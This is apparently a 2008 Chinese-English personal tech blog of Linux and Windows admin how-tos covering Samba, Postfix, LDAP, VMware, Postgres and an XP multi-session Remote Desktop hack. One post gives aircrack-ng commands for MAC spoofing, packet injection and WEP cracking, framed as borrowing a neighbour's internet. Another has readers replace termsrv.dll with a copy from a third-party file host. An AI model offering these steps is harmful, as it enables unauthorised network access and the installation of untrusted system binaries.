2008年9月10日 星期三
想要在WINDOWS裡面有像LINUX的虛擬桌面嗎
Desktop 1.0 超好用 個人超愛也不占記憶體空間
Desktops 1.0
Virtual Desktop Manager 蠻慢的不喜歡
Windows XP Powertoys
2008年9月9日 星期二
『轉載 + 我已測試可以在SP3上使用 + 翻成英文版』Windows XP Pro 遠端桌面可以讓更多人同時使用
Multiple Remote Desktop Users logon with Windows XP Professional Service Pack 3
I've tested this on September 10th 2008 with XP SP3 and it works just fine
1. Power on your PC and Hit F8 go to to Safe Mode with Networking in Windows
2. Go to [Control Panel] -> [System] -> [Remote Tab] -> Check Mark [Allow users to connect remotely to this computer] -> [OK]
3. [Start] -> [Run] -> [services.msc] -> [ Terminal Services ] -> [Disable] -> [OK]
4. Restart PC in Safe Mode with Networking
5. Download termserv.dll from [http://www.orbitfiles.com/download/id20947665] Copy/Paste to [C:\windows\system32\dllcache] and [C:\windows\system32] BACKUP!! your original termsrv.dll files
6. [Start][Run][regedit][HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core] -> [Add New DWORD][EnableConcurrentSessions] -> [Hexadecimal = 1]。
7. [Start] -> [Run] -> [gpedit.msc] -> [Computer Configuration][Administrative Templates][Windows Components][Terminal Services] -> [Limit number of connectoins] -> [Enabled] -> [TS Maximum Connections allowed] -> [10] -> [OK]
8. [Start] -> [Run] -> [services.msc] -> [ Terminal Services ] -> [Enable] -> [OK]
9. Restart PC
『轉載 + 我已測試可以在SP3上使用 + 翻成英文版』Windows XP Pro 遠端桌面可以讓更多人同時使用
XP Pro 的遠端桌面只允許一個人連線,當其他使用者使用遠端桌面連線到 XP Pro 時,本機使用者會被強制登出。
1. 將 Windows 啟動在安全模式。
2. 按一下 [控制台] 中的 [系統],取消選取 [遠端] 索引標籤中的 [允許使用者允端連線到這部電腦],然後按一下 [確定]。
3. 開啟 [控制台][系統管理工具][服務],將 Terminal Services 服務停用,然後按一下 [確定]。
4. 瀏覽到 C:\windows\system32\dllcache 目錄,將 termsrv.dll 檔案改成別的名稱 (例如 termsrv.original)。
5. 從 http://www.orbitfiles.com/download/id20947665 下載無連線數目限制的 termsrv.dll,然後將它複製到 C:\windows\system32\dllcache 目錄。
6. 瀏覽到 C:\windows\system32 目錄,重複步驟 4 與步驟 5 (將 termserv.dll 改成其他名稱,然後將剛下載的檔案複製到此目錄。
7. 開啟 [登錄編輯程式],找到 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core 機碼。新增一個名為 EnableConcurrentSessions 的 DWORD 項目,將其值設定為 1,然後關閉 [登錄編輯程式]。
8. 按一下 [ 開始][執行],輸入 gpedit.msc,然後按一下 ENTER。開啟 [電腦設定][系統管理範本][Windows 元件][終端機服務],按兩下 [限制連線數目],選擇 [已啟用],然後在 [可允許的 TS 最大連線數目] 中設定想要的最大連線數目。
9. 重新啟動 Windows 在正常模式。
10. 按一下 [控制台] 中的 [系統],選取 [遠端] 索引標籤中的 [允許使用者允端連線到這部電腦],然後按一下 [確定]。
11. 開啟 [控制台][系統管理工具][服務],將 Terminal Services 服務啟動,然後按一下 [確定]。
12. 重新啟動 Windows。
注意:
1. 您必須為使用者建立帳戶並將他加入 Remote Desktop User 群組,該使用者才能連線。
2. 您可能必須啟用「快速使用者切換」與「歡迎畫面」,按一下 [開始][控制台][使用者帳戶][變更使用者登入或登出的方式] 以啟用上述兩個功能。
3. 此解決方案可能不適合已加入網域的電腦,因為網域群組原則可能會覆寫本機群組原則。
問答集:
問1:http://www.orbitfiles.com/download/id20947665 這檔案哪來的?
答1:據聞取自 XP SP2 RC1,termsrv.dll 版號 5.1.2600.2055。
問2:在開啟 [自動更新] 的情況下,這個檔案會被更新為最新的版本嗎?
答2:不清楚,個人並不使用 [自動更新]。照理說如果這個檔案沒有被發現有弱點,MS 應該不會釋出更新。
問3:這個方式適用於 XP Home 版本嗎?
答3:不清楚,個人沒有 Home 版本,只有在 XP Pro 版本測試過可行。或許您可以試試然後告訴大家結果。
問4:會不會有任何安全上的問題?
答4:不清楚,請自行負擔所有風險。
2008年9月2日 星期二
我手上有MySQLDump的.sql檔 如何備份MySQL資料庫?
How to backup mysql database
Backup dbname to dbname_backup.sql
joec@ubuntu~:$ mysqldump -u root -p dbname > /home/joec/dbname_backup.sql
先開一個新的Database
joec@ubuntu~:$ mysql -u root -p
mysql> create database dbname;
mysql> quit
Bye
joec@ubuntu~:$ ls
db_backup.sql
joec@ubuntu~:$ mysql -u root -p -h 192.168.1.8 dbname < db_backup.sql
如何在MySQL開/刪帳號
使用mysql資料庫因為user table在裏面
mysql> use mysql
依照IP刪帳號
Delete a MySQL user account from IP address 192.168.1.8
mysql> delete from user where host = '192.168.1.8';
創立 drupal 資料庫
mysql> create database drupal;
開帳號給 bob 使用者
IP 位置 192.168.1.8
密碼是: EnteRp@ssw0rdHere
資料庫是: drupal
Table是: drupal.*
mysql> grant all on drupal.* TO bob@192.168.1.8 IDENTIFIED BY 'EnteRp@ssw0rdHere';
Query OK, 0 rows affected (0.00 sec)
想在Ubuntu一開機的時候就跑指令
* 加入在rcS檔按裏面最下行
* you can add it in the rcS file
joec@ubuntu~$ sudo vim /etc/init.d/rcS
比如說我一開機就想跑Dynamic DNS這個執行檔
dydns
joec@ubuntu~$ sudo ./dydns
讓他自動開整理出一個開機指令
*auto create script in Run Console Levels
joec@ubuntu~$ sudo /etc/init.d/update-rc.d dydns defaults
Adding system startup for /etc/init.d/dydns ...
/etc/rc0.d/K20dydns -> ../init.d/dydns
/etc/rc1.d/K20dydns -> ../init.d/dydns
/etc/rc6.d/K20dydns -> ../init.d/dydns
/etc/rc2.d/S20dydns -> ../init.d/dydns
/etc/rc3.d/S20dydns -> ../init.d/dydns
/etc/rc4.d/S20dydns -> ../init.d/dydns
/etc/rc5.d/S20dydns -> ../init.d/dydns
執行你的執行檔
joec@ubuntu:/etc/init.d$ sudo chmod +x dydns
2008年9月1日 星期一
安裝Cinelerra在Ubuntu 8.04
How To Install cinelerrasudo wget http://repository.akirad.net/dists/hardy.list -O /etc/apt/sources.list.d/akirad.list
sudo apt-get install cinelerra-generic
想架一個網站有設密碼的網站要怎麼架設?
先幫bob使用者設個密碼
$ sudo htpasswd -c /etc/apache2/passwd/.htpasswd bob
再去apache裏面設定 多家這幾行就好
$ sudo vim /etc/apache2/sites-available/default
AuthType Basic
AuthName "Restricted Files"
AuthUserFile /etc/apache2/passwd/.htpasswd
Require user bob
從新啟動Apache
$ sudo /etc/init.d/apache2 restart
2008年7月8日 星期二
住外面可是卻沒有申請網路線路怎麼辦
用借的
基本上呢 很簡單
開一個shell
找你的network interface 改成監視mode 以及換假的mac address
airmon-ng
airmon-ng stop ath0
ifconfig wifi0 down
macchanger --mac 00:11:22:33:44:55 wifi0
airmon-ng start wifi0
監視
airodump-ng ath0
airodump-ng –c 11 –w wep123 - - bssid 00:13:49:36:87:34 ath0
開第二個shell 這部分要做package injection
aireplay-ng -1 0 –a 00:13:49:36:87:34 –h 00:11:22:33:44:55 –e jo3c ath0
aireplay-ng -3 –b 00:13:49:36:87:34 –h 00:11:22:33:44:55 ath0
開第三個shell 這部分叫做 解碼
aircrack-ng –n 64 –b 00:13:49:36:87:34 wep123-01.cap
2008年5月27日 星期二
天阿!我的kernel 更新過後就沒有辦法開VMware Workstation怎麼辦
2.6.24-16 > 2.6.24-17
Solution:
先解除安裝VMware Workstation 6.0.2
Uninstall first
$ cd /etc/vmware
$ sudo ./installer.sh uninstall
在安裝 VMware Workstation On Ubuntu Hardy Heron 8.04
Ubuntu Kernel 2.6.24-16-generic
Ubuntu Kernel 2.6.24-17-generic
VMware Workstation 6.0.2 Linux 32bit (download from BT or vmware: http://www.vmware.com/download/ws/)
$ sudo tar -zxvf VMware-workstation-6.0.2-59824.i386.tar
$ cd cd vmware-distrib/
$ sudo ./vmware-install.pl
Unable to build the vmmon module
# 看到上面的錯誤後繼續下面的步驟
# after seeing error above do next
$ sudo wget http://knihovny.cvut.cz/ftp/pub/vmware/vmware-any-any-update115.tar.gz
$ sudo gunzip vmware-any-any-update115.tar.gz
$ sudo tar xvf vmware-any-any-update115.tar
$ cd vmware-any-any-update115
$ sudo nano vmmon-only/include/vcpuset.h
CHANGE改
#include “asm/bitops.h”
TO成
#include “linux/bitops.h”
$ sudo nano vmmon-only/include/iocontrols_compat.h
CHANGE 改 line 18
#define VMMON_VERSION_V6 (161 << 16 | 0)
TO 成
#define VMMON_VERSION_V6 (167 << 16 | 0)
$ sudo nano vmmon-only/include/iocontrols.h
CHANGE 改 line 48
#define VMMON_VERSION (161 << 16 | 0)
TO 成
#define VMMON_VERSION (167 << 16 | 0)
$ sudo rm vmmon.tar #remove the old vmmon.tar
$ sudo tar cf vmmon.tar vmmon-only/ #repack vmmon.tar
$ sudo ./runme.pl
refernece
http://aldeby.org/blog/?p=113
2008年5月21日 星期三
如何在Ubuntu底下分享檔案在Windows分享上
首先
System→Administration→Network
Depends on your Network
Connection
Select Wired or Wireless
General Tab
Host = Your Computer name Domain = for local computer It doesn't need Usually
Step 2 Configure SAMBA
sudo gedit /etc/samba/smb.conf
FIND line 232
; browseable = no
CHANGE
browseable = yes
writable = yes
Step 3 Add User
$ sudo smbpasswd -a newuser
$ sudo /etc/init.d/samba reload
Step 4 Share Folder on Ubuntu to Windows
$ sudo nautilus
Create a folder inside your home folder
Right Click on the Folder Icon
Left Click on Share Folder
Reference: http://www.youtube.com/watch?v=Ad17kma8rNM
2008年5月11日 星期日
如何在Linux伺服器上分享檔案讓Windows電腦存取
How-to: File sharing with Ubuntu using Samba
第一步
System→Administration→Network
選擇Wired有線或者是Wireless無線
選General
Host = 輸入你的domain 通常都是電腦的名字 這樣子網路上看到的就是你的電腦名字
第二步 調整Samba設定
$ sudo gedit /etc/samba/smb.conf
找第 232 行
; browseable = no
換成
browseable = yes
writable = yes
第三步 增加使用者
$ sudo smbpasswd -a newuser
$ sudo /etc/init.d/samba reload
第四步 設定檔案夾
$ sudo nautilus
在自己的Home裡面加一個新的資料夾
在資料夾右點Share Options
選Sharing This Folder
Reference: http://www.youtube.com/watch?v=Ad17kma8rNM
2008年5月2日 星期五
如何在Ubuntu Hardy Heron 8.04 架Mail Server + SpamAssassin
How to Setup Ubuntu Hardy Heron Mail Server Setup with Postfix + Dovecot + SASL + Squirrel Mail + SpamAssassin
安裝 Postfix
$ sudo aptitude install postfix postfix-tls libsasl2 sasl2-bin libsasl2-modules popa3d
* Choose Internet Site in Postfix Configuration
$ sudo /etc/init.d/postfix restart
安裝 Dovecot
$ sudo aptitude install dovecot-imapd dovecot-pop3d dovecot-common
$ sudo nano /etc/dovecot/dovecot.conf
找第 24 行
改
# specify protocols = imap imaps pop3 pop3s
成
protocols = pop3 imap
找第50行
改
#disable_plaintext_auth = yes
成
disable_plaintext_auth = no
找第 627行
改
# pop3_uidl_format = %08Xu%08Xv
成
pop3_uidl_format = %08Xu%08Xv
建立新的使用者
$ sudo adduser alice
重新啟動
$ sudo /etc/init.d/dovecot restart
修改SASL認證
Configure SASL Authentication with TLS
$ sudo nano /etc/postfix/main.cf
加入這些行
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes
smtpd_sasl_local_domain = yourdomain.com
smtpd_recipient_restrictions = permit_mynetworks,permit_sasl_authenticated,reject_unauth_destination
smtpd_sasl_security_options = noanonymous
$ sudo rm -r /var/run/saslauthd/
$ sudo mkdir -p /var/spool/postfix/var/run/saslauthd
$ sudo ln -s /var/spool/postfix/var/run/saslauthd /var/run
$ sudo chgrp sasl /var/spool/postfix/var/run/saslauthd
$ sudo adduser postfix sasl
$ sudo nano /etc/dovecot/dovecot.conf
找第767行
改
auth default {
成
auth default2 {
在 auth default2{ 前加入以下這些設定
auth default {
mechanisms = plain login
passdb pam {
}
userdb passwd {
}
socket listen {
client {
path = /var/spool/postfix/private/auth
mode = 0660
user = postfix
group = postfix
}
}
}
重開
sudo /etc/init.d/saslauthd restart
sudo /etc/init.d/postfix restart
sudo /etc/init.d/dovecot restart
測試 EVOLUTION 信箱軟體
安裝Squirrel 網路 Mail
先裝 apache2 + php5
$ sudo apt-get install apache2
$ sudo apt-get install libapache2-mod-php5 php5-cli php5-common php5-cgi
$ sudo apt-get install squirrelmail
$ sudo /usr/sbin/squirrelmail-configure
$sudo nano /etc/apache2/apache2.conf
加入以下設定
Include /etc/squirrelmail/apache.conf
$ sudo /etc/init.d/apache2 restart
http://yourdomain.com/squirrelmail
Create a separate local user and login as a new user.
Mail Server Logs
$ sudo tail -f /var/log/mail.log
$ sudo nano /var/log/mail.log
reference: http://www.debianadmin.com/debian-mail-server-setup-with-postfix-dovecot-sasl-squirrel-mail.html
SpamAssassin
$ sudo sudo apt-get install spamassassin spamc
$ sudo groupadd -g 5001 spamd
$ sudo useradd -u 5001 -g spamd -s /sbin/nologin -d /var/lib/spamassassin spamd
$ sudo mkdir /var/lib/spamassassin
$ sudo chown spamd:spamd /var/lib/spamassassin
$ sudo sudo nano /etc/default/spamassassin
ENABLED=1
SAHOME="/var/lib/spamassassin/"
OPTIONS="--create-prefs --max-children 5 --username spamd --helper-home-dir ${SAHOME} -s ${SAHOME}spamd.log"
PIDFILE="${SAHOME}spamd.pid"
$ sudo nano /etc/spamassassin/local.cf
rewrite_header Subject [***** SPAM _SCORE_ *****]
required_score 2.0
#to be able to use _SCORE_ we need report_safe set to 0
#If this option is set to 0, incoming spam is only modified by adding some "X-Spam-" headers and no changes will be made to the body.
report_safe 0
# Enable the Bayes system
use_bayes 1
use_bayes_rules 1
# Enable Bayes auto-learning
bayes_auto_learn 1
# Enable or disable network checks
skip_rbl_checks 0
use_razor2 0
use_dcc 0
use_pyzor 0
$ sudo /etc/init.d/spamassassin start
$ sudo nano /etc/postfix/master.cf
*
change
smtp inet n - - - - smtpd
*
to
smtp inet n - - - - smtpd -o content_filter=spamassassin
spamassassin unix - n n - - pipe
user=spamd argv=/usr/bin/spamc -f -e
/usr/sbin/sendmail -oi -f ${sender} ${recipient}
$ sudo /etc/init.d/postfix reload
2008年4月29日 星期二
如何安裝Atheros Wireless在Lenovo IBM Thinkpad R61i 7742-29HV 在 Ubuntu Gusty Gibbon 7.10 Ubuntu Hardy Heron 8.04
How to get Lenovo IBM Thinkpad Atheros Wireless Card Working for R61i 7742-29hv in Ubuntu Gusty Gibbon, Hardy Heron working
Tested System: Ubuntu Hardy 8.04
Ubuntu Kernel 2.6.24-16-generic
下載Madwifi
$ wget -c http://snapshots.madwifi.org/special/madwifi-ng-r2756+ar5007.tar.gz
$ sudo tar xvf madwifi-ng-r2756+ar5007.tar.gz
$ cd madwifi-ng-r2756+ar5007/
準備編譯 Driver
$ sudo apt-get update && sudo aptitude install build-essential
安裝
$ sudo make install
設定
$ sudo modprobe ath_pci
$ sudo modprobe wlan_scan_sta
FATAL: Error inserting wlan_scan_sta (lib/modules/2.6.22-14generic/net/wlan_scan_sta.ko) : Unknow symbol in module, or unknow parameter (see dmesg)
重開機
$ sudo shutdown -r now
點網路的圖案在右上角 然後選連結無線網路
click Network icon in Notification Area in the top right of default ubuntu install
select the wireless network you like to connect
http://www.ubuntugeek.com/atheros-5007eg-with-madwifi-on-i386-platform.html
如何在Ubuntu Hardy Heron 8.04 32 bit 安裝VMware Workstation 6.0.2
How To install VMware Workstation On Ubuntu Hardy Heron 8.04
Ubuntu Kernel 2.6.24-16-generic
VMware Workstation 6.0.2 Linux 32bit (download from BT or vmware: http://www.vmware.com/download/ws/)
從BT下載 或者vmware官方網站不過需要有正版的帳號
$ sudo tar xvf VMware-workstation-6.0.2-59824.i386.tar
$ cd vmware-distrib/
$ sudo ./vmware-install.pl
Unable to build the vmmon module
這裡會有error不過沒關西
$ sudo wget http://knihovny.cvut.cz/ftp/pub/vmware/vmware-any-any-update115.tar.gz
$ sudo gunzip vmware-any-any-update115.tar.gz
$ sudo tar xvf vmware-any-any-update115.tar
$ cd vmware-any-any-update115
$ sudo nano vmmon-only/include/vcpuset.h
CHANGE 改
#include “asm/bitops.h”
TO 成
#include “linux/bitops.h”
$ sudo nano vmmon-only/include/iocontrols_compat.h
CHANGE line 18 改
#define VMMON_VERSION_V6 (161 << 16 | 0)
TO 成
#define VMMON_VERSION_V6 (167 << 16 | 0)
$ sudo nano vmmon-only/include/iocontrols.h
CHANGE line 48 改
#define VMMON_VERSION (161 << 16 | 0)
TO 成
#define VMMON_VERSION (167 << 16 | 0)
$ sudo rm vmmon.tar #remove the old vmmon.tar
$ sudo tar cf vmmon.tar vmmon-only/ #repack vmmon.tar
$ sudo ./runme.pl
從跑
refernece
http://aldeby.org/blog/?p=113
2008年4月1日 星期二
如何架LDAP伺服器在Ubuntu 7.10 Gusty Gibbon上
Server
安裝
$ sudo apt-get install slapd ldap-utils migrationtools
設定
$ dpkg-reconfigure slapd
我都選原裝的設定 除了DNS Domain Name 我使用我的電腦名稱加上 .local
e.g.我電腦名稱是jo3c 所以 就是 jo3c.local
設定/etc/ldap/ldap.conf
#加入 URI用 你的電腦密碼
BASE dc=jo3c, dc=local
URI ldap://192.168.1.11/
看可不可以連到LDAP
$ ldapsearch -x -b dc=jo3c,dc=local
不行的話代表你SLAPD可能還沒啟動
$ /etc/init.d/slapd start
或者是 叫他聽ldap port
$ /etc/init.d/slapd stop
$ sudo slapd -h "ldap:///"
$ sudo apt-get install nmap
$ nmap localhost
看有沒有聽LDAP port 536
使用者資料
2008年3月7日 星期五
How to Setup Mantis Bug Tracker LDAP on Ubuntu 7.10
Reference: http://forums.mantisbt.org/viewtopic.php?f=3&t=3149&p=9914#p8944
/var/www/bugs/config_inc.php
# --- database variables ---------
# set these values to match your setup
$g_hostname = "localhost";
$g_db_username = "root";
$g_db_password = "p@ssw0rd_here";
$g_database_name = "bugtracker";
$g_db_type = "mysql";
# --- email variables -------------
$g_administrator_email = 'joechiang@phalanxbiotech.com';
$g_webmaster_email = 'joechiang@phalanxbiotech.com';
# the "From: " field in emails
$g_from_email = 'noreply@phalanxbiotech.com';
# the return address for bounced mail
$g_return_path_email = 'joechiang@phalanxbiotech.com';
# --- file upload settings --------
# This is the master setting to disable *all* file uploading functionality
#
# The default value is ON but you must make sure file uploading is enabled
# in PHP as well. You may need to add "file_uploads = TRUE" to your php.ini.
$g_allow_file_upload = ON;
# --- smtp service email variables -------------
$g_phpMailer_method = 2;
$g_smtp_host = 'mail.phalanxbiotech.com';
$g_smtp_username = 'joechiang';
$g_smtp_password = 'joechiang';
?>
/var/www/bugs/core/config_api.php
#LDAP connectivity
$g_login_method = LDAP;
$g_ldap_server = 'ldap://172.20.11.117';
#$g_ldap_port = '389';
$g_ldap_root_dn = 'ou=People, dc=minerva, dc=local';
#$g_ldap_organization = 'Phalanx Biotech';
#$g_ldap_uid_field = 'sAMAccountName';
#$g_use_ldap_email = 'ON';
$g_ldap_bind_dn = 'cn=admin, dc=minerva, dc=local';
$g_ldap_bind_passwd = 'p@ssw0rd_here';
$g_ldap_protocol_version = 3;
2008年1月28日 星期一
How to Install Pure-FTP Daemon on Ubuntu 7.10 Gusty Gibbon
install pure-ftpd
# sudo apt-get install pure-ftpd-common pure-ftpd pureadmin
to access go to applications-> system tools-> pureadmin
to create a user then
http://user@localhost
2008年1月25日 星期五
如何在Ubuntu底下架網站?使用Hinet的ADSL的不固定IP位址?
如何在Ubuntu底下架網站?使用Hinet的ADSL的不固定IP位址?
http://ubuntulinuxhowto.blogspot.com/2006/06/dynamic-dns-no-ip.html
Dynamic DNS No-IP
If you have a dynamic IP from your internet service provider it gets annoying when they change your IP and you do not know it, therefore you are not able to connect to your computer remotely anymore. Well Dynamic DNS services fix that problem by assigning a domain to your IP address whenever it changes. This howto will cover getting No-IP, a Dynamic DNS client working.
First if you do not have a No-IP account, create one by going to no-ip.com and registering.
It will send an email to you so you can verify that you want to create account. Click the verification link in your email and it will send you back to the No-IP site.
Log in to the site with the account you just made and click Add under Hosts / Redirects.
Write whatever you want for the subdomain and choose a domain for it to be under. I chose howtonoip for my subdomain and chose to put it under their no-ip.org domain. Scroll down to the bottom and click Create Host.
Now you will need to install the client. Open up your terminal and run "sudo apt-get install no-ip".
Once installed run "sudo no-ip -C" and select your Internet interface from the list. Then enter your login information. If you added only one host to your no-ip account it will automatically use that. If not it will ask which one(s) to use. Next enter the update interval (in minutes). It will ask you if you want to run something at a successful update. I did not so I selected no.
Your configuration file was just created. Now whenever your IP changes this client software will automatically update the No-IP servers with your new IP. No longer will your ip change and you be locked out of your computer!
如何在安裝Postgres 8.2到Ubuntu 7.10 Gusty Gibbon
How To Installing Postgres 8.2 on Ubuntu 7.10
$ sudo apt-get install postgresql postgresql-client postgresql-contrib
$ sudo apt-get install pgadmin3
postgres default password is unknown so after your first installation you will need to change it
postgres使用者密碼安裝後的密碼是不可考的 所以安裝後要直接用query改掉
$ sudo su postgres -c psql template1
template1=# ALTER USER postgres WITH PASSWORD 'password';
template1=# \q
$ sudo passwd -d postgres
$ sudo su postgres -c passwd
http://hocuspokus.net/2007/11/05/install-postgresql-on-ubuntu-710/
如何利用Python處理檔案
檔案不用整個load到記憶體上
how-to get a specific line(4) in a bunch of files without it going loading into memory
import glob
for files in glob.glob('/home/joec/Desktop/gpr_files/*gpr'):
x = open(files)
x.readline()
x.readline()
x.readline()
y = x.readline()
z = y[10:20]
date = z.replace('/', '-')
print date
x.close()
http://groups.google.com/group/comp.lang.python/browse_thread/thread/7f3f745dd4e09f5e/f2934e1a17ee66a3
如何在Postgres底下設定PL/SQL 陣列資料型態的功能
如何在postgres底下設定PL/SQL 陣列資料型態的功能
* postgres pl install and array avg function setup
http://frakkle.com/archives/archive_2006-m04.php
幫postgre開啟PL/SQL的功能
joec@celica:~$ createlang plpgsql arraydata1
在postgres底下設定PL/SQL 陣列資料型態
arraydata1=#
CREATE OR REPLACE FUNCTION array_to_set(ar_in numeric[])
RETURNS SETOF numeric AS
$BODY$
declare
rtn numeric;
ar_pointer int4 = 1;
BEGIN
--ar_upper := array_upper( ar_in );
WHILE ( ar_in[ar_pointer] IS NOT NULL ) LOOP
return next ar_in[ar_pointer];
ar_pointer := ar_pointer + 1;
END LOOP;
END
$BODY$
LANGUAGE 'plpgsql' STRICT IMMUTABLE;
postgres底下設定PL/SQL 陣列資料型態的平均,總合,計算次數,標準偏差數的功能
* create sum, count, avg, standard deviation functions
arraydata1=#
CREATE OR REPLACE FUNCTION sum(numeric[])
RETURNS numeric AS
$BODY$
SELECT sum( array_to_set )
FROM array_to_set( $1 )
$BODY$
LANGUAGE 'sql' STRICT IMMUTABLE;
CREATE FUNCTION count_array(numeric[])
RETURNS bigint AS
$BODY$
SELECT count( array_to_set )
FROM array_to_set( $1 )
$BODY$
LANGUAGE 'sql' STRICT IMMUTABLE;
CREATE OR REPLACE FUNCTION avg(numeric[])
RETURNS numeric AS
$BODY$
SELECT avg( array_to_set )
FROM array_to_set( $1 )
$BODY$
LANGUAGE 'sql' STRICT IMMUTABLE;
CREATE OR REPLACE FUNCTION stddev(numeric[])
RETURNS numeric AS
$BODY$
SELECT stddev( array_to_set )
FROM array_to_set( $1 )
$BODY$
LANGUAGE 'sql' STRICT IMMUTABLE;
arraydata1=# select avg(array_num[32:34]) from data;
如何在Linux, Ubuntu, Debian下安裝 LAMP Apache 2.2, MySQL 5, PHP 4, SSH
如何在linux, ubuntu, debian下安裝 apache, mysql, php, ssh
ubuntu apache2 + php5 + mysql5
1. ssh server for remote access
sudo apt-get install ssh
2. database server
sudo apt-get install mysql-server
3. apache http server
sudo apt-get install apache2
4. php for apache http server
sudo apt-get install php5
5. mysql for apache http server
sudo apt-get install libapache2-mod-auth-mysql
sudo apt-get install php5-mysql
remember! reboot your computer afterward!
如何啟動,停止,重新啟動 Mysql, Apache
start, restart, stop apache
sudo /etc/init.d/apache2 restart
start, restart, stop mysql
sudo /etc/init.d/mysql restart